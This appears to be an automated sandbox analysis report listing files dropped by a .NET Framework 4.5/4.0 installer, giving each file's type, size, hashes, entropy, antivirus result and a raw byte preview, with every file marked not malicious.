                  SHA1:4196B0878C6C66B6FA260AB765A0E79F7AEC0D24
                  SHA-256:B499E1B21091B539D4906E45B6FDF490D5445256B72871AECE2F5B2562C11793
                  SHA-512:69A13D4348384F134BA93C9A846C6760B342E3A7A2E9DF9C7062088105AC0B77B8A524F179EFB1724C0CE168E01BA8BB46F2D6FAE39CABE32CAB9A34FC293E4A
                  Malicious:false
                  Preview:...... ..........f...........(...N... ..........v...........h....... .... ............... .h....#..(... ...@......................................................................................................wwx...........w....w.........x....x.........x.y.......................p..............x.........q.......p.........q.................xy...........q.......................p.............y..................x.y..............y.y.............yyy.........S........x..........yy.............x.yyyx......................Q.8.........x..............y....qy.p...y.....x.....p........y....9.....y....yy..yx.......y..yyyw..p.....y.yyyyy................x.p........y.yy..........x...x............x.................wwx.....................?...................................................................................................?............(....... ..................................................................................................ww.....w..........xx..x........x....p........xy

                  C:\02160d95efb0ac51c5e073\Graphics\warn.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:MS Windows icon resource - 6 icons, 32x32, 16 colors, 4 bits/pixel, 16x16, 16 colors, 4 bits/pixel
                  Category:dropped
                  Size (bytes):10134
                  Entropy (8bit):4.3821301214809045
                  Encrypted:false
                  SSDEEP:192:USAk9ODMuYKFfmiMyT4dvsZQl+g8DnPUmXtDV3EgTtc:r9wM7pyEBlcgssmXpVUgJc
                  MD5:B2B1D79591FCA103959806A4BF27D036
                  SHA1:481FD13A0B58299C41B3E705CB085C533038CAF5
                  SHA-256:FE4D06C318701BF0842D4B87D1BAD284C553BAF7A40987A7451338099D840A11
                  SHA-512:5FE232415A39E0055ABB5250B120CCDCD565AB102AA602A3083D4A4705AC6775D45E1EF0C2B787B3252232E9D4673FC3A77AAB19EC79A3FF8B13C4D7094530D2
                  Malicious:false
                  Preview:...... ..........f...........(...N... ..........v...........h....... .... ............... .h....#..(... ...@................................................................................................................................................................wwwww.....wwww...................3333333333338...{....3s.....x...{....0G;.............0.;...7.........33....8.....{...33..............0....7...............8.......{....;.............0.;.............0...8...........4...............wu;.............ww;.............ww;?...........;ww;.............7w................................8.............{...................................................................................................................................................................?...?..................................................?...?.........(....... ........................................................................................................333333;...............8.........;........

                  C:\02160d95efb0ac51c5e073\ParameterInfo.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (411), with CRLF, CR line terminators
                  Category:dropped
                  Size (bytes):749336
                  Entropy (8bit):3.689345698006854
                  Encrypted:false
                  SSDEEP:1536:/hXG30hOItAi0b/Sh7imRrD/Httha3hvzZxVhiD3jhdhCJ3aNix3f98L7RMTqnh5:/hPyIl
                  MD5:4925613D29BC7350130C7076E4C92C1C
                  SHA1:2821351D3BE08F982431BA789F034B9F028CA922
                  SHA-256:9157A0AFE34576DFEA4BA64DB5737867742B4E9346A1F2C149B98B6805D45E31
                  SHA-512:3E69650E4101A14EF69F94FA54B02D8D305039165A0BFFC519B3CF96F2DCBCF46845E4669D29CCC5CEB887B2F95FC4756265B19D5C17AA176D3D6DC53ED83F77
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .S.e.t.u.p.V.e.r.s.i.o.n.=.".1...0.".>..... . .<.U.I. .D.l.l.=.".S.e.t.u.p.U.i...d.l.l.". .N.a.m.e.=.".M.i.c.r.o.s.o.f.t. ...N.E.T. .F.r.a.m.e.w.o.r.k. .4...5. .S.e.t.u.p.". .V.e.r.s.i.o.n.=.".4...5...5.0.7.0.9.". ./.>..... . .<.C.o.n.f.i.g.u.r.a.t.i.o.n.>..... . . . .<.D.i.s.a.b.l.e.d.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h.e.s.>..... . . . . . .<.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h. .N.a.m.e.=.".c.r.e.a.t.e.l.a.y.o.u.t.". ./.>..... . . . .<./.D.i.s.a.b.l.e.d.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h.e.s.>..... . . . .<.U.s.e.r.E.x.p.e.r.i.e.n.c.e.D.a.t.a.C.o.l.l.e.c.t.i.o.n. .P.o.l.i.c.y.=.".O.S.C.o.n.t.r.o.l.l.e.d.". ./.>..... . . . .<.B.l.o.c.k.i.n.g.M.u.t.e.x. .N.a.m.e.=.".

                  C:\02160d95efb0ac51c5e073\Setup.exe

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):87968
                  Entropy (8bit):6.282266924820881
                  Encrypted:false
                  SSDEEP:1536:5LmWjYk9OfVyyyyc/fPhWZnqxMQP8ZOs0J6BBDWa:5LmaYk92yyyyc/ns/gBG4a
                  MD5:8B3ECF4D59A85DAE0960D3175865A06D
                  SHA1:FC81227EC438ADC3F23E03A229A263D26BCF9092
                  SHA-256:2B088AEFCC76D0BAA0BFF0843BF458DB27BACC47A8E698C9948E53FFC471828B
                  SHA-512:A58A056A3A5814A13153B4C594ED72796B4598F8E715771FC31E60C60A2E26250768B8F36B18675B91E7ECC777EF27C7554F7A0E92C2DFABA74531E669C38263
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................=G......p......E......q..........i.b....=E....._....=t....=@....=A....=F....Rich....................PE..L....l.O.........."......`...........*.......p....@..........................P............@...... ...................o..x.......<........................=...@......@................................'..@............................................text...._.......`.................. ..`.data........p.......d..............@....idata...............p..............@..@.rsrc................v..............@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\SetupEngine.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):889272
                  Entropy (8bit):6.398356248770754
                  Encrypted:false
                  SSDEEP:24576:9S62nlYAcQ6drH7ufoOxzKSU69mwWOenS6aaESssghI6SaII:9S62nlYA2yfo8z5oqenS6FEPsgu6SaN
                  MD5:43BC7B5DFD2E45751D6D2CA7274063E4
                  SHA1:A8955033D0E94D33114A1205FE7038C6AE2F54F1
                  SHA-256:A11AF883273DDBD24BFED4A240C43F41CE3D8C7962EC970DA2D4C7E13B563D04
                  SHA-512:3F3068E660FEA932E91E4D141D8202466B72447107FF43F90DEA9557FC188696617025531220BC113DC19FDD7ADF313A47AC5F2A4CE94C65F9AEB2D7DEDA7F36
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........|T...:A..:A..:A..AA..:A..WA..:A$j.A..:A.k.A..:A.k.A..:A.k.AI.:A..;A..:A$j.A..:A..A..:A..A..:A..A..:A..A..:A..A..:ARich..:A................PE..L....l.O.........."!.................m...............................................~....@.....................................|....................T...=......X...P...................................@...........l................................text... ........................... ..`.data...............................@....idata...&.......(...H..............@..@.rsrc................p..............@..@.reloc..x............z..............@..B........................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\SetupUi.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):306600
                  Entropy (8bit):6.350542936464492
                  Encrypted:false
                  SSDEEP:3072:2ejVUK59l+P88/9ZLleu4eho7mtRgzN8XNzGWottb/3vyP9ps4hoKCGMI7atw/7T:SPlHKzWGTj3shhoKCrUabeBZdD+G
                  MD5:C6760E8B45FFA0CD56B843BC498B919D
                  SHA1:9FAA762FCD06B2C216122C31A387D6D9CF5A6558
                  SHA-256:26F324B3D8E7AF4994459E118D20EF5B0ABB332075432DD42C6597833486E269
                  SHA-512:B83F7EAB3EE1EF167F81C3DDFA6A578540FB0DA2EFD15B54650FCF5B35CDB6F54229E04887A6F66A78C4E20CDC21119DB4E0F0ED3799EEEA3D2E4A308FF3F54A
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8.|.Y./.Y./.Y././e/.Y././P/.Y././d/.Y./.Y./.Y./..w/.Y./..P/.Y./..a/.Y./..U/.Y./..T/.Y./..S/.Y./Rich.Y./................PE..L....l.O.........."!................)................................................B....@.........................@........@.......`...............p...=...p...?..P................................w..@............D...............................text............................... ..`.data....R.......4..................@....idata.......@......................@..@.rsrc........`......................@..@.reloc...U...p...V..................@..B................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\SetupUi.xsd

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, ASCII text, with very long lines (335), with CRLF line terminators
                  Category:dropped
                  Size (bytes):30120
                  Entropy (8bit):4.990211039591874
                  Encrypted:false
                  SSDEEP:768:hlzLm8eYhsPs05F8/ET/chT+cxcW8G2P4oeTMC:1wchT+cxcDm
                  MD5:2FADD9E618EFF8175F2A6E8B95C0CACC
                  SHA1:9AB1710A217D15B192188B19467932D947B0A4F8
                  SHA-256:222211E8F512EDF97D78BC93E1F271C922D5E91FA899E092B4A096776A704093
                  SHA-512:A3A934A8572FF9208D38CF381649BD83DE227C44B735489FD2A9DC5A636EAD9BB62459C9460EE53F61F0587A494877CD3A3C2611997BE563F3137F8236FFC4CA
                  Malicious:false
                  Preview:<?xml version="1.0" encoding="utf-8"?>..<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema".. xmlns="http://schemas.microsoft.com/SetupUI/2008/01/imui".. xmlns:imui="http://schemas.microsoft.com/SetupUI/2008/01/imui".. targetNamespace="http://schemas.microsoft.com/SetupUI/2008/01/imui".. elementFormDefault="qualified"..attributeFormDefault="unqualified"..>.... <xs:annotation>.. <xs:documentation>.. Copyright (c) Microsoft Corporation. All rights reserved... Schema for describing DevDiv "Setup UI Info".. </xs:documentation>.. </xs:annotation>.... <xs:element name="SetupUI">.. <xs:annotation>.. <xs:documentation>specifies UI dll, and lists of MSIs MSPs and EXEs</xs:documentation>.. </xs:annotation>.. <xs:complexType>.. <xs:sequence>.. <xs:choice>.. <xs:element ref="UI" minOccurs="1" maxOccurs="1"></xs:element>.. <xs:element ref="Strings" minOccurs="1" maxOccurs="1"></xs:element>..

                  C:\02160d95efb0ac51c5e073\SetupUtility.exe

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):118208
                  Entropy (8bit):6.287492619129892
                  Encrypted:false
                  SSDEEP:1536:hbru/kuMsYDNoo+rtIFMtVtWHd7fRbH/faIUkGY2Fiws/DdBB:hbq/xtLVc97BXaIUkGvFBGBB
                  MD5:10CAAB10C7AF54328DEB701B2B377556
                  SHA1:A752212059AEBBF6F0EE278EFA234521E7073060
                  SHA-256:0F8AD762BC0FDAF5C2261764E416AA9BCCF006810FA50A014BE59AEEF994FDA4
                  SHA-512:3132B116E6687AF2A422730BEC2F3F7D187D5559262C8B889FF8EBE3782A451F656E06C5A0BA5E69A8B5998F826C3AF7501040690D63EC0AE23E6F5CBEB33A53
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........P..L1.TL1.TL1.T.F.TM1.T..oTj1.T..nT>1.TL1.T%1.T.F.TC1.T..mTB1.T..sTF1.T.oTM1.T..jTM1.T..iTM1.T..lTM1.TRichL1.T........PE..L....l.O.........."......8...t.......c.......P....@..................................B....@...... ...................E..................8................=..........P...8...........................@N..@...........8................................text..._6.......8.................. ..`.data...8....P.......<..............@....idata...............L..............@..@.rsrc...8............X..............@..@.reloc..l-...........b..............@..B................................................................................................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\SplashScreen.bmp

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PC bitmap, Windows 3.x format, 200 x 200 x 8, image size 40002, resolution 3779 x 3779 px/m, cbSize 41080, bits offset 1078
                  Category:dropped
                  Size (bytes):41080
                  Entropy (8bit):6.9955557349183595
                  Encrypted:false
                  SSDEEP:384:G1o2kgxmJGEsU3pP28+Qq1ms68/tUqHUlHGwM7bwv3ETbFrS:kkpoapTbimsqHGI
                  MD5:0966FCD5A4AB0DDF71F46C01EFF3CDD5
                  SHA1:8F4554F079EDAD23BCD1096E6501A61CF1F8EC34
                  SHA-256:31C13ECFC0EB27F34036FB65CC0E735CD444EEC75376EEA2642F926AC162DCB3
                  SHA-512:A9E70A2FB5A9899ACF086474D71D0E180E2234C40E68BCADB9BF4FE145774680CB55584B39FE53CC75DE445C6BF5741FC9B15B18385CBBE20FC595FE0FF86FCE
                  Malicious:false
                  Preview:BMx.......6...(...................B.......................{7...>...h?..D...N...K..........xE..._#..q..T...X...Q...[..._...c...j....>.!....f...v...r...."..v....0....... ..........4..I.........[...}..............j.............................................................................................................i......................@>1.......................................................o...u...u...z...z...~............................................................................................................................................................................{...~.................................................................................................................yw`......................................................................................................................................................//'...........................................

                  C:\02160d95efb0ac51c5e073\Strings.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):14084
                  Entropy (8bit):3.701412990655975
                  Encrypted:false
                  SSDEEP:384:VqZo71GHY3vqaqMnYfHHVXIHjfBHwnwXCa+F:VqB
                  MD5:8A28B474F4849BEE7354BA4C74087CEA
                  SHA1:C17514DFC33DD14F57FF8660EB7B75AF9B2B37B0
                  SHA-256:2A7A44FB25476886617A1EC294A20A37552FD0824907F5284FADE3E496ED609B
                  SHA-512:A7927700D8050623BC5C761B215A97534C2C260FCAB68469B7A61C85E2DFF22ED9CF57E7CB5A6C8886422ABE7AC89B5C71E569741DB74DAA2DCB4152F14C2369
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p.U.I. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". ..... . . . . . . . . .x.m.l.n.s.:.i.m.u.i.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .>..... . .<.S.t.r.i.n.g.s.>..... . . . .<.!.-.-. .R.e.f.l.e.c.t.i.v.e. .p.r.o.p.e.r.t.y. .p.a.g.e. .-.-.>..... . . . .<.I.D.S._.I.S._.R.E.A.L.L.Y._.C.A.N.C.E.L.>.#.(.l.o.c...i.d.s._.i.s._.r.e.a.l.l.y._.c.a.n.c.e.l.).<./.I.D.S._.I.S._.R.E.A.L.L.Y._.C.A.N.C.E.L.>......... . . . .<.!.-.-. .S.y.s.t.e.m. .R.e.q.u.i.r.e.m.e.n.t.s. .p.a.g.e. .-.-.>..... . . . .<.S.Y.S.R.E.Q.P.A.G.E._.R.E.Q.U.I.R.E.D._.A.N.D._.A.V.A.I.L.A.B.L.E._.D.I.S.K._.S.P.A.C.E.>.#.(.l.o.c...s.y.s.r.e.q.p.a.g.e._.r.e.q.u.i.r.e.d._.a.n.d._.a.v.a.i.l.a.b.l.e._.d.i.s.k._.s.p.a.c.e.).<./.S.Y.S.R.E.Q.P.A.G.E._.R.E.Q.U.I.R.E.D._.A.N.D._.A.V.A.I.L.A.B.L.E._.D.I.S.K._.S.

                  C:\02160d95efb0ac51c5e073\UiInfo.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):38910
                  Entropy (8bit):3.105374049977211
                  Encrypted:false
                  SSDEEP:768:24UR0d5vcDPe5HSguJQvFQXvDINJh6Fmhvk71sO0Nep3UL9Eu+dOtOcOdOjTZfuX:24UR0d5vcDPe5HQYQLIN/6Fmhvk71sOR
                  MD5:D8F565BD1492EF4A7C4BC26A641CD1EA
                  SHA1:D4C9C49B47BE132944288855DC61DBF8539EC876
                  SHA-256:6A0E20DF2075C9A58B870233509321372E283CCCCC6AFAA886E12BA377546E64
                  SHA-512:ECF57CC6F3F8C4B677246A451AD71835438D587FADC12D95EF1605EB9287B120068938576DA95C10EDC6D1D033B5968333A5F8B25CE97ECD347A42716CD2A102
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p.U.I. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .x.m.l.n.s.:.i.m.u.i.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .>..... . .<.U.I.>......... . . . .<.R.e.s.o.u.r.c.e.D.l.l.>.S.e.t.u.p.R.e.s.o.u.r.c.e.s...d.l.l.<./.R.e.s.o.u.r.c.e.D.l.l.>..... . . . .<.!.-.-..... . . . .<.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . . . .<.H.i.d.e./.>..... . . . .<./.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . .-.-.>..... . . . .<.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . . . .<.F.i.l.e.N.a.m.e.>.S.p.l.a.s.h.S.c.r.e.e.n...b.m.p.<./.F.i.l.e.N.a.m.e.>..... . . . .<./.S.p.l.a.s.h.S.c.r.e.e.n.>......... . . . .<.L.C.I.D.H.i.n.t.s.>..... . . . . . .<.L.C.I.D.H.i.n.t.>..... . . . . . . . .<.R.e.g.K.e.y.>.H.K.C.U.\.S.o.f.t.w.a.r.e.\.M.i.c.r.o.s.o.f.t.\.V.i.s.u.a.l.S.t.u.d.i.o.\.9...0.\.G.e.n.e.r.a.l.<./.

                  C:\02160d95efb0ac51c5e073\header.bmp

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PC bitmap, Windows 3.x format, 49 x 49 x 8, image size 2550, resolution 2834 x 2834 px/m, cbSize 3628, bits offset 1078
                  Category:dropped
                  Size (bytes):3628
                  Entropy (8bit):4.8382652865388724
                  Encrypted:false
                  SSDEEP:48:f0sO8Kdwc6o5NF5ghwwpnMOccFpscGqfkemvIQpQK/xHiggTfGRgVC0q:cMa1krnrJmdQ+EgyfG3
                  MD5:514BFCD8DA66722A9639EB41ED3988B7
                  SHA1:CF11618E3A3C790CD5239EE749A5AE513B4205CD
                  SHA-256:6B8201ED10CE18FFADE072B77C6D1FCACCF1D29ACB47D86F553D9BEEBD991290
                  SHA-512:89F01C3361BA874015325007EA24E83AE6E73700996D0912695A4E7CB3F8A611494BA9D63F004DCD4F358821E756BE114BCF0137ED9B130776A6E26A95382C7B
                  Malicious:false
                  Preview:BM,.......6...(...1...1................................iI.|4..{3...8...:...qI..oH..hH......8...9...<...A...>..}<...@...F...C..t:...A...D...qG..C...E..m:...L...K...H...G...L...N..yB...L..........N...S...Z...S..vC...J...U......V...S...R...Y...V...Y...Y...M...Z...h...x8..|<...i......]...\...Y...]...V...^...^...e...c...o...l...c...a..._..._...b...X...j...^...d...k...j...q...u...p...x+..p.....h...g...d...j...b...u...u...n...t...t...s...m...r...u...s...{"...4...i..r...m...m...w...u...q...t...}...K...N..U..l..........r.......x...{....!...#...)..@..N..V...............$...#...'...,..4..5..:..C..T..u......................... ...'...*..,.....<..B..V..\..e..p..............)..,..2..4..5..9..<..<..R..\..d...y........................................................ ..)..3..8..:..B..L..O..n......................................................4..^....................O...b...|.........................................................

                  C:\02160d95efb0ac51c5e073\sqmapi.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):196416
                  Entropy (8bit):6.750051879132402
                  Encrypted:false
                  SSDEEP:3072:ZTNeShyMVz1kEbFoKJ7Sk75QKsyJOHuFAwPQYQ5wEZr7aaVIpVe2XD70kN5/0zfN:lzV2wPQ5wyaaVIpI2XD706/0TmU1MSmI
                  MD5:D475BBD6FEF8DB2DDE0DA7CCFD2C9042
                  SHA1:80887BDB64335762A3B1D78F7365C4EE9CFAEAB5
                  SHA-256:8E9D77A216D8DD2BE2B304E60EDF85CE825309E67262FCFF1891AEDE63909599
                  SHA-512:F760E02D4D336AC384A0125291B9DEAC88C24F457271BE686B6D817F01EA046D286C73DEDDBF0476DCC2ADE3B3F5329563ABD8F2F1E40AEE817FEE1E3766D008
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6...e...e...e..me...e...e...e..ke...e..je...e..{e...e.&.e...e..|e...e..le...e..ie...eRich...e................PE..L...$.[J...........!.........>......b..............l.........................0............@..........................#..........x.......................@.......(!..d...8............................h..@.......|.......h...,........................text.............................. ..`.data...............................@....rsrc...............................@..@.reloc..(!......."..................@..Bo.[J@...~.[JK.....[JX.../.[Jb.....[Jm.....[JX.....[JX...........msvcrt.dll.ADVAPI32.dll.ntdll.DLL.USER32.dll.KERNEL32.dll.......................................................................................................................................................................................................................................

                  C:\02160d95efb0ac51c5e073\watermark.bmp

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:PC bitmap, Windows 3.x format, 164 x 628 x 8, image size 102994, resolution 3779 x 3779 px/m, cbSize 104072, bits offset 1078
                  Category:dropped
                  Size (bytes):104072
                  Entropy (8bit):7.2628723112196
                  Encrypted:false
                  SSDEEP:768:QKUpOeBmAj72KbvEvffvCv7cTIMUHuRzHA8X9H51T9ho4xw7CgB1:QKULmAfbvEv47cIHzE9vo4SuU1
                  MD5:B0075CEE80173D764C0237E840BA5879
                  SHA1:B4CF45CD5BB036F4F210DFCBA6AC16665A7C56A8
                  SHA-256:AB18374B3AAB10E5979E080D0410579F9771DB888BA1B80A5D81BA8896E2D33A
                  SHA-512:71A748C82CC8B0B42EF5A823BAC4819D290DA2EDDBB042646682BCCC7EB7AB320AFDCFDFE08B1D9EEBE149792B1259982E619F8E33845E33EEC808C546E5C829
                  Malicious:false
                  Preview:BM........6...(.......t...........R...................};.......F.......T...c....H..b...t...m...z...d...a..._...f...f....&..x...j...w...o...k...r....+..........|...u...|...q...v...w...|...2..~...z.......x...........{.................................................................... ...#..:..P..e................................#..#..&..(..+..+..-........EDA................$..,../..4..2..6..;...........................$..'..,..0..:..?..E......................6..5..>...D...I...K...Q...j...................=...D...L...P...U...V...\...r.....................Y...\...`...d...b...f...j...l...{..................................`...g...o...u...|....................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1025\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (627), with CRLF line terminators
                  Category:dropped
                  Size (bytes):74214
                  Entropy (8bit):4.180711029644354
                  Encrypted:false
                  SSDEEP:384:4w1hDxsSsxGMZzhKtQOsitz0SBijTJ3ejrwddv:PhDxsnxGMdAVBijTJ3eHm
                  MD5:C5BF74C96A711B3F7004CA6BDDECC491
                  SHA1:4C4D42FF69455F267CE98F1DB8F2C5D76A1046DA
                  SHA-256:6B67C8A77C1A637B72736595AFDF77BDB3910AA9FE48D959775806A0683FFA66
                  SHA-512:2F2071BF9966BFFE64C90263F4B9BD5EFCAC4F976C4E42FBDEAA5D6A6DEE51C33F4902CF5E3D0897E1C841E9182E25C86D42E392887BC3CE3D9ED3D780D96AC9
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".. . J.*.9.0.1. .*.4.:.J.D. .'.D.%.9./.'./. .A.J. .H.6.9. .'.D.*.H.'.A.B... .D.E.2.J./. .E.F. .'.D.E.9.D.H.E.'.*... .1.'.,.9. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.'.D.E.D.A. .'.D.*.E.G.J./.J.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.W.a.r.n.i.n.g.).". .L.o.c.a.l.i.z.e.d.T.e.x.

                  C:\6231e956ee22143d5ce90e\1025\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):17240
                  Entropy (8bit):5.619267132242324
                  Encrypted:false
                  SSDEEP:192:Ea4ZUfwxW1NX2QxqaSzWUrfncpNWLIeWkQKPnEtObMacxc8hjXHUz1TrOKA+nfW6:Nx2SX2vPzBrSNWkeWkLXci2jXHU46iQ
                  MD5:35B62B395968B7754C298FBB410E9821
                  SHA1:DE95297EE33466DDA2A63C8658E79F17EBBB2911
                  SHA-256:4BC6711145430AC74F0D8F80A41DD89ACE79427EBAF7D3CFE479A43DB08D66E1
                  SHA-512:CD34802098D57CA81446B32D2CD39B3B3FA659ED0A366167C09DAD5FF583B2266E28BA044486E343E4336A40E85D4A713E4E67EAC00B6CBFC3D4C33A1B9BD23B
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........(...............................................P............@.......................................... ...$...........,..X............................................................................................text...G...........................@..@.rsrc....0... ...&..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1025\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1256, default language ID 1033
                  Category:dropped
                  Size (bytes):7567
                  Entropy (8bit):4.307679152385702
                  Encrypted:false
                  SSDEEP:192:sf3yLpQxL75CD7sH08JUXthIT2M+bOx7BnT7QUm2:AyLpQxL7YsH08JUXQT2M+s7BnT7QUm2
                  MD5:AF1A4F6740A8B51683DFD89D520EB729
                  SHA1:6B02C8E704D2D90DE9E0B63FA389B2899C75E567
                  SHA-256:E4BA6C3852C94BB2034DFFED5A0FE45150E873B98ABA95A2C3A93A71227EF605
                  SHA-512:C669728CA1AF1513DB36EAEE9F15AA7B0209E2F9E85C7FAE759794D05DEEF2920712C9C6F7AAF4ED1B13BF83D310DF6E770CD6C9A49D7FE62FD5F9A11464B255
                  Malicious:false
